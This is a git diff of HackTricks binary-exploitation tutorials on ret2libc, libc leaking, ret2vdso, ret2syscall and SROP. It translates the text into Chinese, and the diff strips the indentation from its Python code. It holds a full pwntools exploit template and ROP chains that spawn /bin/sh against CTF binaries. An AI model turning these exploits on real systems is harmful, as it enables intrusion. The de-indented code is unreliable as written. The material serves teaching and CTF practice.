3.2- Searching for libc version (2) +### 3.2- 搜索 libc 版本 (2) -You can also do: +您还可以执行: - `$ git clone https://github.com/niklasb/libc-database.git` - `$ cd libc-database` - `$ ./get` -This will take some time, be patient.\ -For this to work we need: +这将需要一些时间,请耐心等待。\ +为了使其正常工作,我们需要: -- Libc symbol name: `puts` -- Leaked libc adddress: `0x7ff629878690` - -We can figure out which **libc** that is most likely used. +- Libc 符号名称:`puts` +- 泄漏的 libc 地址:`0x7ff629878690` +我们可以找出最有可能使用的**libc**。 ```bash ./find puts 0x7ff629878690 ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64) archive-glibc (id libc6_2.23-0ubuntu11_amd64) ``` - -We get 2 matches (you should try the second one if the first one is not working). Download the first one: - +我们得到了两个匹配(如果第一个不工作,你应该尝试第二个)。下载第一个: ```bash ./download libc6_2.23-0ubuntu10_amd64 Getting libc6_2.23-0ubuntu10_amd64 - -> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb - -> Downloading package - -> Extracting package - -> Package saved to libs/libc6_2.23-0ubuntu10_amd64 +-> Location: http://security.ubuntu.com/ubuntu/pool/main/g/glibc/libc6_2.23-0ubuntu10_amd64.deb +-> Downloading package +-> Extracting package +-> Package saved to libs/libc6_2.23-0ubuntu10_amd64 ``` +将 `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` 中的 libc 复制到我们的工作目录。 -Copy the libc from `libs/libc6_2.23-0ubuntu10_amd64/libc-2.23.so` to our working directory. - -### 3.3- Other functions to leak - +### 3.3- 其他泄漏函数 ```python puts printf @@ -198,28 +181,24 @@ __libc_start_main read gets ``` +## 4- 查找基于 libc 地址并利用 -## 4- Finding based libc address & exploiting +在这一点上,我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件,我将只使用:`/lib/x86_64-linux-gnu/libc.so.6` -At this point we should know the libc library used. As we are exploiting a local binary I will use just:`/lib/x86_64-linux-gnu/libc.so.6` +因此,在 `template.py` 的开头将 **libc** 变量更改为: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道时` -So, at the beginning of `template.py` change the **libc** variable to: `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it` - -Giving the **path** to the **libc library** the rest of the **exploit is going to be automatically calculated**. - -Inside the `get_addr`function the **base address of libc** is going to be calculated: +提供 **libc 库** 的 **路径** 后,**利用** 的其余部分将会被自动计算。 +在 `get_addr` 函数内部,**libc 的基地址** 将被计算: ```python if libc != "": - libc.address = leak - libc.symbols[func_name] #Save libc base - log.info("libc base @ %s" % hex(libc.address)) +libc.address = leak - libc.symbols[func_name] #Save libc base +log.info("libc base @ %s" % hex(libc.address)) ``` - > [!NOTE] -> Note that **final libc base address must end in 00**. If that's not your case you might have leaked an incorrect library. - -Then, the address to the function `system` and the **address** to the string _"/bin/sh"_ are going to be **calculated** from the **base address** of **libc** and given the **libc library.** +> 请注意,**最终的 libc 基地址必须以 00 结尾**。如果不是这种情况,您可能泄露了不正确的库。 +然后,函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址**将从 **libc** 的 **基地址** 计算得出,并给出 **libc 库。** ```python BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh SYSTEM = libc.sym["system"] @@ -228,9 +207,7 @@ EXIT = libc.sym["exit"] log.info("bin/sh %s " % hex(BINSH)) log.info("system %s " % hex(SYSTEM)) ``` - -Finally, the /bin/sh execution exploit is going to be prepared sent: - +最后,将准备发送 /bin/sh 执行漏洞: ```python rop2 = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) + p64(EXIT) @@ -240,65 +217,56 @@ p.sendline(rop2) #### Interact with the shell ##### p.interactive() #Interact with the conenction ``` +让我们解释一下这个最终的 ROP。\ +最后的 ROP (`rop1`) 再次调用了主函数,然后我们可以 **再次利用** 这个 **溢出**(这就是 `OFFSET` 再次出现的原因)。然后,我们想要调用 `POP_RDI` 指向 _"/bin/sh"_ 的 **地址** (`BINSH`),并调用 **system** 函数 (`SYSTEM`),因为 _"/bin/sh"_ 的地址将作为参数传递。\ +最后,**退出函数的地址** 被 **调用**,这样进程 **正常退出**,不会生成任何警报。 -Let's explain this final ROP.\ -The last ROP (`rop1`) ended calling again the main function, then we can **exploit again** the **overflow** (that's why the `OFFSET` is here again). Then, we want to call `POP_RDI` pointing to the **addres** of _"/bin/sh"_ (`BINSH`) and call **system** function (`SYSTEM`) because the address of _"/bin/sh"_ will be passed as a parameter.\ -Finally, the **address of exit function** is **called** so the process **exists nicely** and any alert is generated. - -**This way the exploit will execute a \_/bin/sh**\_\*\* shell.\*\* +**这样,利用将执行一个 \_/bin/sh**\_\*\* shell.\*\* ![](<../../../../images/image (165).png>) -## 4(2)- Using ONE_GADGET +## 4(2)- 使用 ONE_GADGET -You could also use [**ONE_GADGET** ](https://github.com/david942j/one_gadget)to obtain a shell instead of using **system** and **"/bin/sh". ONE_GADGET** will find inside the libc library some way to obtain a shell using just one **ROP address**.\ -However, normally there are some constrains, the most common ones and easy to avoid are like `[rsp+0x30] == NULL` As you control the values inside the **RSP** you just have to send some more NULL values so the constrain is avoided. +你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell,而不是使用 **system** 和 **"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法,仅使用一个 **ROP 地址** 来获取一个 shell。\ +然而,通常会有一些限制,最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值,你只需发送一些更多的 NULL 值,以避免这个限制。 ![](<../../../../images/image (754).png>) - ```python ONE_GADGET = libc.address + 0x4526a rop2 = base + p64(ONE_GADGET) + "\x00"*100 ``` - ## EXPLOIT FILE -You can find a template to exploit this vulnerability here: +您可以在此处找到利用此漏洞的模板: {{#ref}} rop-leaking-libc-template.md {{#endref}} -## Common problems +## 常见问题 -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist. Then you can find where is the main code: +### MAIN_PLT = elf.symbols\['main'] 未找到 +如果“main”符号不存在。然后您可以找到主代码的位置: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +并手动设置地址: ```python MAIN_PLT = 0x401080 ``` +### Puts未找到 -### Puts not found +如果二进制文件没有使用Puts,您应该检查它是否使用 -If the binary is not using Puts you should check if it is using +### `sh: 1: %s%s%s%s%s%s%s%s: 未找到` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +如果在创建**所有**漏洞利用后发现此**错误**:`sh: 1: %s%s%s%s%s%s%s%s: 未找到` +尝试**从"/bin/sh"的地址中减去64字节**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md index def2864f4..b68afbf0a 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md @@ -1,11 +1,6 @@ -# Leaking libc - template +# 泄露libc - 模板 {{#include ../../../../banners/hacktricks-training.md}} - -
- -{% embed url="https://websec.nl/" %} - ```python:template.py from pwn import ELF, process, ROP, remote, ssh, gdb, cyclic, cyclic_find, log, p64, u64 # Import pwntools @@ -25,25 +20,25 @@ LIBC = "" #ELF("/lib/x86_64-linux-gnu/libc.so.6") #Set library path when know it ENV = {"LD_PRELOAD": LIBC} if LIBC else {} if LOCAL: - P = process(LOCAL_BIN, env=ENV) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = process(LOCAL_BIN, env=ENV) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTETTCP: - P = remote('10.10.10.10',1339) # start the vuln binary - ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary - ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets +P = remote('10.10.10.10',1339) # start the vuln binary +ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary +ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets elif REMOTESSH: - ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) - p = ssh_shell.process(REMOTE_BIN) # start the vuln binary - elf = ELF(LOCAL_BIN)# Extract data from binary - rop = ROP(elf)# Find ROP gadgets +ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) +p = ssh_shell.process(REMOTE_BIN) # start the vuln binary +elf = ELF(LOCAL_BIN)# Extract data from binary +rop = ROP(elf)# Find ROP gadgets if GDB and not REMOTETTCP and not REMOTESSH: - # attach gdb and continue - # You can set breakpoints, for example "break *main" - gdb.attach(P.pid, "b *main") +# attach gdb and continue +# You can set breakpoints, for example "break *main" +gdb.attach(P.pid, "b *main") @@ -53,15 +48,15 @@ if GDB and not REMOTETTCP and not REMOTESSH: OFFSET = b"" #b"A"*264 if OFFSET == b"": - gdb.attach(P.pid, "c") #Attach and continue - payload = cyclic(264) - payload += b"AAAAAAAA" - print(P.clean()) - P.sendline(payload) - #x/wx $rsp -- Search for bytes that crashed the application - #print(cyclic_find(0x63616171)) # Find the offset of those bytes - P.interactive() - exit() +gdb.attach(P.pid, "c") #Attach and continue +payload = cyclic(264) +payload += b"AAAAAAAA" +print(P.clean()) +P.sendline(payload) +#x/wx $rsp -- Search for bytes that crashed the application +#print(cyclic_find(0x63616171)) # Find the offset of those bytes +P.interactive() +exit() @@ -69,11 +64,11 @@ if OFFSET == b"": ### Find Gadgets ### #################### try: - libc_func = "puts" - PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts +libc_func = "puts" +PUTS_PLT = ELF_LOADED.plt['puts'] #PUTS_PLT = ELF_LOADED.symbols["puts"] # This is also valid to call puts except: - libc_func = "printf" - PUTS_PLT = ELF_LOADED.plt['printf'] +libc_func = "printf" +PUTS_PLT = ELF_LOADED.plt['printf'] MAIN_PLT = ELF_LOADED.symbols['main'] POP_RDI = (ROP_LOADED.find_gadget(['pop rdi', 'ret']))[0] #Same as ROPgadget --binary vuln | grep "pop rdi" @@ -90,54 +85,54 @@ log.info("ret gadget: " + hex(RET)) ######################## def generate_payload_aligned(rop): - payload1 = OFFSET + rop - if (len(payload1) % 16) == 0: - return payload1 +payload1 = OFFSET + rop +if (len(payload1) % 16) == 0: +return payload1 - else: - payload2 = OFFSET + p64(RET) + rop - if (len(payload2) % 16) == 0: - log.info("Payload aligned successfully") - return payload2 - else: - log.warning(f"I couldn't align the payload! Len: {len(payload1)}") - return payload1 +else: +payload2 = OFFSET + p64(RET) + rop +if (len(payload2) % 16) == 0: +log.info("Payload aligned successfully") +return payload2 +else: +log.warning(f"I couldn't align the payload! Len: {len(payload1)}") +return payload1 def get_addr(libc_func): - FUNC_GOT = ELF_LOADED.got[libc_func] - log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) - # Create rop chain - rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) - rop1 = generate_payload_aligned(rop1) +FUNC_GOT = ELF_LOADED.got[libc_func] +log.info(libc_func + " GOT @ " + hex(FUNC_GOT)) +# Create rop chain +rop1 = p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT) +rop1 = generate_payload_aligned(rop1) - # Send our rop-chain payload - #P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received - print(P.clean()) # clean socket buffer (read all and print) - P.sendline(rop1) +# Send our rop-chain payload +#P.sendlineafter("dah?", rop1) #Use this to send the payload when something is received +print(P.clean()) # clean socket buffer (read all and print) +P.sendline(rop1) - # If binary is echoing back the payload, remove that message - recieved = P.recvline().strip() - if OFFSET[:30] in recieved: - recieved = P.recvline().strip() +# If binary is echoing back the payload, remove that message +recieved = P.recvline().strip() +if OFFSET[:30] in recieved: +recieved = P.recvline().strip() - # Parse leaked address - log.info(f"Len rop1: {len(rop1)}") - leak = u64(recieved.ljust(8, b"\x00")) - log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") +# Parse leaked address +log.info(f"Len rop1: {len(rop1)}") +leak = u64(recieved.ljust(8, b"\x00")) +log.info(f"Leaked LIBC address, {libc_func}: {hex(leak)}") - # Set lib base address - if LIBC: - LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base - print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") - log.info("LIBC base @ %s" % hex(LIBC.address)) +# Set lib base address +if LIBC: +LIBC.address = leak - LIBC.symbols[libc_func] #Save LIBC base +print("If LIBC base doesn't end end 00, you might be using an icorrect libc library") +log.info("LIBC base @ %s" % hex(LIBC.address)) - # If not LIBC yet, stop here - else: - print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") - P.interactive() +# If not LIBC yet, stop here +else: +print("TO CONTINUE) Find the LIBC library and continue with the exploit... (https://LIBC.blukat.me/)") +P.interactive() - return hex(leak) +return hex(leak) get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base @@ -150,38 +145,38 @@ get_addr(libc_func) #Search for puts address in memmory to obtain LIBC base ## Via One_gadget (https://github.com/david942j/one_gadget) # gem install one_gadget def get_one_gadgets(libc): - import string, subprocess - args = ["one_gadget", "-r"] - if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): - args += ["-b", libc.hex()] - else: - args += [libc] - try: - one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] - except: - print("One_gadget isn't installed") - one_gadgets = [] - return +import string, subprocess +args = ["one_gadget", "-r"] +if len(libc) == 40 and all(x in string.hexdigits for x in libc.hex()): +args += ["-b", libc.hex()] +else: +args += [libc] +try: +one_gadgets = [int(offset) for offset in subprocess.check_output(args).decode('ascii').strip().split()] +except: +print("One_gadget isn't installed") +one_gadgets = [] +return rop2 = b"" if USE_ONE_GADGET: - one_gadgets = get_one_gadgets(LIBC) - if one_gadgets: - rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains +one_gadgets = get_one_gadgets(LIBC) +if one_gadgets: +rop2 = p64(one_gadgets[0]) + "\x00"*100 #Usually this will fullfit the constrains ## Normal/Long exploitation if not rop2: - BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh - SYSTEM = LIBC.sym["system"] - EXIT = LIBC.sym["exit"] +BINSH = next(LIBC.search(b"/bin/sh")) #Verify with find /bin/sh +SYSTEM = LIBC.sym["system"] +EXIT = LIBC.sym["exit"] - log.info("POP_RDI %s " % hex(POP_RDI)) - log.info("bin/sh %s " % hex(BINSH)) - log.info("system %s " % hex(SYSTEM)) - log.info("exit %s " % hex(EXIT)) +log.info("POP_RDI %s " % hex(POP_RDI)) +log.info("bin/sh %s " % hex(BINSH)) +log.info("system %s " % hex(SYSTEM)) +log.info("exit %s " % hex(EXIT)) - rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) - rop2 = generate_payload_aligned(rop2) +rop2 = p64(POP_RDI) + p64(BINSH) + p64(SYSTEM) #p64(EXIT) +rop2 = generate_payload_aligned(rop2) print(P.clean()) @@ -189,41 +184,30 @@ P.sendline(rop2) P.interactive() #Interact with your shell :) ``` +## 常见问题 -## Common problems - -### MAIN_PLT = elf.symbols\['main'] not found - -If the "main" symbol does not exist (probably because it's a stripped binary). Then you can just find where is the main code: +### MAIN_PLT = elf.symbols\['main'] 未找到 +如果 "main" 符号不存在(可能是因为它是一个剥离的二进制文件)。那么你可以找到主代码的位置: ```python objdump -d vuln_binary | grep "\.text" Disassembly of section .text: 0000000000401080 <.text>: ``` - -and set the address manually: - +并手动设置地址: ```python MAIN_PLT = 0x401080 ``` +### Puts未找到 -### Puts not found +如果二进制文件没有使用Puts,你应该**检查它是否使用** -If the binary is not using Puts you should **check if it is using** +### `sh: 1: %s%s%s%s%s%s%s%s: 未找到` -### `sh: 1: %s%s%s%s%s%s%s%s: not found` - -If you find this **error** after creating **all** the exploit: `sh: 1: %s%s%s%s%s%s%s%s: not found` - -Try to **subtract 64 bytes to the address of "/bin/sh"**: +如果在创建**所有**漏洞利用后发现此**错误**:`sh: 1: %s%s%s%s%s%s%s%s: 未找到` +尝试**将"/bin/sh"的地址减去64字节**: ```python BINSH = next(libc.search("/bin/sh")) - 64 ``` - -
- -{% embed url="https://websec.nl/" %} - {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md index a3a6c9ed5..9baaea376 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md +++ b/src/binary-exploitation/rop-return-oriented-programing/ret2vdso.md @@ -2,12 +2,11 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -There might be **gadgets in the vDSO region**, which is used to change from user mode to kernel mode. In these type of challenges, usually a kernel image is provided to dump the vDSO region. - -Following the example from [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) it's possible to see how it was possible to dump the vdso section and move it to the host with: +在 **vDSO 区域** 可能存在 **gadgets**,用于从用户模式切换到内核模式。在这类挑战中,通常会提供一个内核映像以转储 vDSO 区域。 +根据 [https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/maze-of-mist/) 的示例,可以看到如何转储 vdso 部分并将其移动到主机: ```bash # Find addresses cat /proc/76/maps @@ -33,9 +32,7 @@ echo '' | base64 -d | gzip -d - > vdso file vdso ROPgadget --binary vdso | grep 'int 0x80' ``` - -ROP gadgets found: - +找到的 ROP 小工具: ```python vdso_addr = 0xf7ffc000 @@ -54,13 +51,12 @@ or_al_byte_ptr_ebx_pop_edi_pop_ebp_ret_addr = vdso_addr + 0xccb # 0x0000015cd : pop ebx ; pop esi ; pop ebp ; ret pop_ebx_pop_esi_pop_ebp_ret = vdso_addr + 0x15cd ``` - > [!CAUTION] -> Note therefore how it might be possible to **bypass ASLR abusing the vdso** if the kernel is compiled with CONFIG_COMPAT_VDSO as the vdso address won't be randomized: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) +> 注意,如果内核使用 CONFIG_COMPAT_VDSO 编译,**通过 vdso 绕过 ASLR** 可能是可行的,因为 vdso 地址不会被随机化: [https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639](https://vigilance.fr/vulnerability/Linux-kernel-bypassing-ASLR-via-VDSO-11639) ### ARM64 -After dumping and checking the vdso section of a binary in kali 2023.2 arm64, I couldn't find in there any interesting gadget (no way to control registers from values in the stack or to control x30 for a ret) **except a way to call a SROP**. Check more info int eh example from the page: +在 kali 2023.2 arm64 中转储并检查二进制文件的 vdso 部分后,我没有找到任何有趣的 gadget(无法通过堆栈中的值控制寄存器或控制 x30 进行返回)**除了调用 SROP 的方法**。请查看页面中的示例以获取更多信息: {{#ref}} srop-sigreturn-oriented-programming/srop-arm64.md diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md index 444927dfd..71a2d727e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/README.md @@ -2,26 +2,25 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -This is similar to Ret2lib, however, in this case we won't be calling a function from a library. In this case, everything will be prepared to call the syscall `sys_execve` with some arguments to execute `/bin/sh`. This technique is usually performed on binaries that are compiled statically, so there might be plenty of gadgets and syscall instructions. +这与 Ret2lib 类似,但在这种情况下,我们不会调用库中的函数。在这种情况下,一切都将准备好调用 syscall `sys_execve`,并带有一些参数以执行 `/bin/sh`。这种技术通常在静态编译的二进制文件上执行,因此可能会有很多 gadgets 和 syscall 指令。 -In order to prepare the call for the **syscall** it's needed the following configuration: +为了准备对 **syscall** 的调用,需要以下配置: -- `rax: 59 Specify sys_execve` -- `rdi: ptr to "/bin/sh" specify file to execute` -- `rsi: 0 specify no arguments passed` -- `rdx: 0 specify no environment variables passed` +- `rax: 59 指定 sys_execve` +- `rdi: ptr to "/bin/sh" 指定要执行的文件` +- `rsi: 0 指定不传递参数` +- `rdx: 0 指定不传递环境变量` -So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack). For this, we need a gadget to write `/bin/sh` in a known area. +所以,基本上需要将字符串 `/bin/sh` 写入某个地方,然后执行 `syscall`(注意控制栈所需的填充)。为此,我们需要一个 gadget 来在已知区域写入 `/bin/sh`。 > [!TIP] -> Another interesting syscall to call is **`mprotect`** which would allow an attacker to **modify the permissions of a page in memory**. This can be combined with [**ret2shellcode**](../../stack-overflow/stack-shellcode/). +> 另一个有趣的 syscall 是 **`mprotect`**,这将允许攻击者 **修改内存中页面的权限**。这可以与 [**ret2shellcode**](../../stack-overflow/stack-shellcode/) 结合使用。 -## Register gadgets - -Let's start by finding **how to control those registers**: +## 寄存器 gadgets +让我们开始寻找 **如何控制这些寄存器**: ```bash ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x0000000000415664 : pop rax ; ret @@ -29,15 +28,13 @@ ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret" 0x00000000004101f3 : pop rsi ; ret 0x00000000004498b5 : pop rdx ; ret ``` +通过这些地址,可以**在堆栈中写入内容并将其加载到寄存器中**。 -With these addresses it's possible to **write the content in the stack and load it into the registers**. +## 写字符串 -## Write string - -### Writable memory - -First you need to find a writable place in the memory +### 可写内存 +首先,您需要在内存中找到一个可写的位置。 ```bash gef> vmmap [ Legend: Code | Heap | Stack ] @@ -46,26 +43,20 @@ Start End Offset Perm Path 0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001 0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap] ``` +### 在内存中写入字符串 -### Write String in memory - -Then you need to find a way to write arbitrary content in this address - +然后你需要找到一种方法在这个地址写入任意内容 ```python ROPgadget --binary speedrun-001 | grep " : mov qword ptr \[" mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx ``` +### 自动化 ROP 链 -### Automate ROP chain - -The following command creates a full `sys_execve` ROP chain given a static binary when there are write-what-where gadgets and syscall instructions: - +以下命令在存在 write-what-where gadgets 和 syscall 指令时,针对静态二进制文件创建完整的 `sys_execve` ROP 链: ```bash ROPgadget --binary vuln --ropchain ``` - -#### 32 bits - +#### 32 位 ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -87,9 +78,7 @@ rop += popRax rop += p32(0x6b6000 + 4) rop += writeGadget ``` - -#### 64 bits - +#### 64 位 ```python ''' Lets write "/bin/sh" to 0x6b6000 @@ -105,17 +94,15 @@ rop += popRax rop += p64(0x6b6000) # Writable memory rop += writeGadget #Address to: mov qword ptr [rax], rdx ``` +## 缺少小工具 -## Lacking Gadgets - -If you are **lacking gadgets**, for example to write `/bin/sh` in memory, you can use the **SROP technique to control all the register values** (including RIP and params registers) from the stack: +如果您**缺少小工具**,例如在内存中写入`/bin/sh`,您可以使用**SROP技术来控制所有寄存器值**(包括RIP和参数寄存器)来自栈: {{#ref}} ../srop-sigreturn-oriented-programming/ {{#endref}} -## Exploit Example - +## 利用示例 ```python from pwn import * @@ -182,14 +169,13 @@ target.sendline(payload) target.interactive() ``` - -## Other Examples & References +## 其他示例与参考 - [https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals19_speedrun1/index.html) - - 64 bits, no PIE, nx, write in some memory a ROP to call `execve` and jump there. +- 64 位,无 PIE,nx,在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。 - [https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html](https://guyinatuxedo.github.io/07-bof_static/bkp16_simplecalc/index.html) - - 64 bits, nx, no PIE, write in some memory a ROP to call `execve` and jump there. In order to write to the stack a function that performs mathematical operations is abused +- 64 位,nx,无 PIE,在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。为了写入堆栈,滥用一个执行数学运算的函数。 - [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html) - - 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there. +- 64 位,无 PIE,nx,BF canary,在某些内存中写入一个 ROP 来调用 `execve` 并跳转到那里。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md index 5b912eab8..d97b3450e 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md +++ b/src/binary-exploitation/rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md @@ -2,80 +2,73 @@ {{#include ../../../banners/hacktricks-training.md}} -Find an introduction to arm64 in: +在以下内容中找到关于 arm64 的介绍: {{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md {{#endref}} -## Code +## 代码 -We are going to use the example from the page: +我们将使用页面中的示例: {{#ref}} ../../stack-overflow/ret2win/ret2win-arm64.md {{#endref}} - ```c #include #include void win() { - printf("Congratulations!\n"); +printf("Congratulations!\n"); } void vulnerable_function() { - char buffer[64]; - read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability +char buffer[64]; +read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability } int main() { - vulnerable_function(); - return 0; +vulnerable_function(); +return 0; } ``` - -Compile without pie and canary: - +在没有PIE和canary的情况下编译: ```bash clang -o ret2win ret2win.c -fno-stack-protector ``` - ## Gadgets -In order to prepare the call for the **syscall** it's needed the following configuration: +为了准备对 **syscall** 的调用,需要以下配置: -- `x8: 221 Specify sys_execve` -- `x0: ptr to "/bin/sh" specify file to execute` -- `x1: 0 specify no arguments passed` -- `x2: 0 specify no environment variables passed` - -Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine: +- `x8: 221 指定 sys_execve` +- `x0: 指向 "/bin/sh" 的指针,指定要执行的文件` +- `x1: 0 指定不传递参数` +- `x2: 0 指定不传递环境变量` +使用 ROPgadget.py,我能够在机器的 libc 库中找到以下 gadgets: ```armasm ;Load x0, x1 and x3 from stack and x5 and call x5 0x0000000000114c30: - ldp x3, x0, [sp, #8] ; - ldp x1, x4, [sp, #0x18] ; - ldr x5, [sp, #0x58] ; - ldr x2, [sp, #0xe0] ; - blr x5 +ldp x3, x0, [sp, #8] ; +ldp x1, x4, [sp, #0x18] ; +ldr x5, [sp, #0x58] ; +ldr x2, [sp, #0xe0] ; +blr x5 ;Move execve syscall (0xdd) to x8 and call it 0x00000000000bb97c : - nop ; - nop ; - mov x8, #0xdd ; - svc #0 +nop ; +nop ; +mov x8, #0xdd ; +svc #0 ``` - -With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall. +通过之前的 gadgets,我们可以从栈中控制所有需要的寄存器,并使用 x5 跳转到第二个 gadget 以调用 syscall。 > [!TIP] -> Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example. - -### Exploit +> 请注意,了解来自 libc 库的信息也允许进行 ret2libc 攻击,但让我们在当前示例中使用它。 +### 利用 ```python from pwn import * @@ -124,5 +117,4 @@ p.sendline(payload) p.interactive() ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md index 20e07f3f2..8af61b903 100644 --- a/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md +++ b/src/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md @@ -2,25 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## Basic Information +## 基本信息 -**`Sigreturn`** is a special **syscall** that's primarily used to clean up after a signal handler has completed its execution. Signals are interruptions sent to a program by the operating system, often to indicate that some exceptional situation has occurred. When a program receives a signal, it temporarily pauses its current work to handle the signal with a **signal handler**, a special function designed to deal with signals. +**`Sigreturn`** 是一个特殊的 **syscall**,主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断,通常用于指示发生了一些异常情况。当程序接收到信号时,它会暂时暂停当前工作,以通过 **信号处理程序** 处理信号,这是一种专门用于处理信号的函数。 -After the signal handler finishes, the program needs to **resume its previous state** as if nothing happened. This is 